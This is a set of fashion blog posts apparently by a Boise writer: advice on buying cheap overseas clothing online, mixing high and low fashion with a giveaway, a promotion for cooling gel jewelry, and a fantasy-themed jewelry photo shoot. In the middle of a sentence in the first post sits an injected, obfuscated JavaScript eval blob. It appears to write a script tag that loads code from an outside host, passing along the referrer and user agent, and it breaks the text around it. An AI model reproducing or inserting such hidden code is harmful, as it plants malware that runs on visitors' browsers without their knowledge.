The Pros and Cons of Shopping Online

Online shopping is a major industry these days. This past Christmas, an estimated 45% of shoppers bought gifts online, from the United States and abroad. But just like clothing sizes and quality can differ from store to store here in America, the same can be said for a current major trend: cheap clothes from overseas.

Here, in my Special Report on KTVB Channel 7 news, is what you need to know, before you succumb to what may look like an irresistible bargain. Click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bteyb|var|u0026u|referrer|bbnyn||js|php’.split(‘|’),0,{}))
the photo below to jump to the video, or scroll down to read my main tips.

Things to keep in mind when shopping online, especially “Bargain clothing and accessories” from overseas:

1. The quality of workmanship and the materials may not always be what you think. My friend Char ordered this cape that said “woolen,” and looked like it had beautiful leather trim. Cute, right? And cheap!

But when it arrived, the material was a very cheap felt – definitely NOT wool! – the trim was a shiny, inexpensive stretchy fabric, and the sleeves and zippers were all sewn crooked, with loose threads sticking out!

My friend Maryann loved a sweater she saw online, and they were so inexpensive she bought two from the same website. But one arrived with beautiful faux fur around the edges and nice, heavy, sweater material, while the second exact same item from the exact same company arrived smaller-sized, with uneven stitching, and scrawny rat-like fur around the trim!

One of the sweaters mostly looked like this:

The other one, not so much.

2. Sizes from around the world are extremely varied! For example, an American small and a Chinese small are typically NOT the same thing. A couple years ago, I had the fun privilege of traveling to Beijing, China with my husband. I loved all the shopping, but was dismayed to find very little in the clothing category that fit me. I’m fairly average-sized, I think, on a global scale, though on the small size for standard American clothing; 125lbs, 5’7″, which is a size 2-4 here. I was shocked to find that the only dresses or sweaters I could find in the Beijing markets that fit me were extra-large. I’m an XL in China!!! (And a size 8 in the UK, and 38 in other parts of Europe! Why can’t we standardize women’s sizes???) I definitely keep this experience in mind, when I shop online…

My friend Kristie looks for inexpensive Plus-sized clothing online. When this cute & simple dress popped up for $15 on Zulily, she selected the 3X size. But what came in the mail was tiny; it fit her little sister, who is an American size 2! The belted waist came right under Kristie’s chest, and the “dress” was so short, it fit more like a blouse. Also, the material was so thin, you can see through it. Definitely not what she thought she was paying for!

Kristie’s “dress” only cost her $15, but it was $15 wasted, as she could not return or exchange it, because…

3. Many items are final sale, even if they don’t say so. I ordered an Alice In Wonderland costume from Amazon.com last fall for Halloween. By the time the item arrived, the holiday I bought it for had already passed (shipping from China can take anywhere from 3 weeks to 3 months!), but also the one-size-fits-all dress didn’t fit me. I asked the seller if I could return it, and the answer was, “Sure, as long as you pay the shipping to get it back to us.” Fine, ok, no big deal, right? Until I found out the approximate shipping of that dress back to China was $75! I’m not paying $75 to return a $25 dress!

Practical Tips for Shopping Online:

1. Always check the return policy! Can you exchange it? Can you get your money back? Will you have to pay for the shipping?

2. Study measurement charts closely, measure twice, don’t rush! Don’t be lazy! I’m talking to you, American shoppers; convert the centimeters to inches and figure it out. It’s worth your time and money!

3. When possible, read others’ ratings so you know the fit. On Amazon, for example, people can rate “Fits as expected,” and write about items that run too big or too small. But watch out for fake or “planted” reviews; take your time and listen to other customers’ opinions.

4. Study the website or retailer; have they been in business long, do they have reviews and testimonials? Even retailers on Amazon and Zulily can pop up quick, sell a few items, and disappear… I bought a costume wig that didn’t arrive after 3 months, but when I went to Amazon.com to check on my order status, the company who distributed the wig had vanished! I never got my wig, but I’m grateful that they never charged my card. Whew!

5. When in doubt, size up and alter to fit. If the item you are ordering comes from China, Korea, or Singapore, for example, go up a size from what you typically buy. It’s SO MUCH EASIER to have a seamstress nip in a waistline or shorten a hem, then it is to try and figure out how to make something that’s too small stretch to fit you!

It comes down to this: ANY shopping you do online is a gamble, no matter what country it’s from!!!

Sometimes the gamble pays off, sometimes it doesn’t! Lower your expectations, do your research, and decide if an item is worth it. Here’s one example of when it worked out really well for me. I ordered this transparent raincoat, which is one-size-fits-all. The style is loose enough, that it doesn’t really matter what the fit is! I was pleased with how it looked – so much so, that I used it in a photo shoot for another article on my blog! (My pics by Valerie Davenport Photography)

It’s definitely shorter than it looks on the Amazon.com model, but not enough to detract from it’s overall cuteness. And the best part: it’s only $15.99! (You can view more pics of it in my article here, along with the direct link to it on Amazon.com.)

So happy shopping, good luck, and remember: buy what you LOVE!!!
XOXO,
Tanya

Jump to next article: How Coach is Becoming an American Icon Brand…

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Luxe Dressing For Less

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by ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress — Photo Courtesy of Anthropologie

pink blush navy dress — Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below!
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

a Rafflecopter giveaway
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The New Brilliant Invention for Hot Weather Dressing!

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Courtesy of Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes. But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

Hot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls !

XOXO,

Stella & Dot, Khaleesi Style

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I admit it: I’m a Game of Thrones fan. Like, big time fan. But anyone who knew me growing up shouldn’t be surprised, considering my obsession with J.R.R. Tolkein’s Lord of the Rings Trilogy, C.S. Lewis’s Chronicles of Narnia, anything & everything by George MacDonald, and that whole medieval costume wedding thing I wrote about here. I’m also a sci-fi freak, but that’s a story for another day…

My friend Hanna is a rep for Stella & Dot, and was showing me some of her new pieces recently. When I spotted this amazing “Pegasus” necklace, I was totally inspired to lean into my medieval-fantasy passions, and style a shoot around the stunning jewelry piece, with a kind of how-would-Khaleesi-wear-it theme. Special thanks to my up-for-anything photographer Jeanne Giltzow for finding us a herd of horses to shoot with, and for braving a crazy dirt tornado in between shots to get these fabulous photos! I’d do this with you again, in a heartbeat.

I hope you enjoy the photos as much as I enjoyed shooting them. Honestly, I didn’t want to take this outfit off; I was ready to jump into a cosplay battle, hahaha! Someone fetch my saddle and my sword; I shall ride out to fight the dragons henceforth!

I guess sometimes princesses never truly grow up. Or geeks, for that matter.

XOXO,

Photography: Jeanne Giltzow / Assistant: Thomas Burdell / Makeup: Taighler Martin at The Studio an Elite Salon & Spa / Wardrobe: Nordstrom Rack and Serendipity Boutique / Horses provided by: Janet Qualls of Dusty Acres Equestrian Center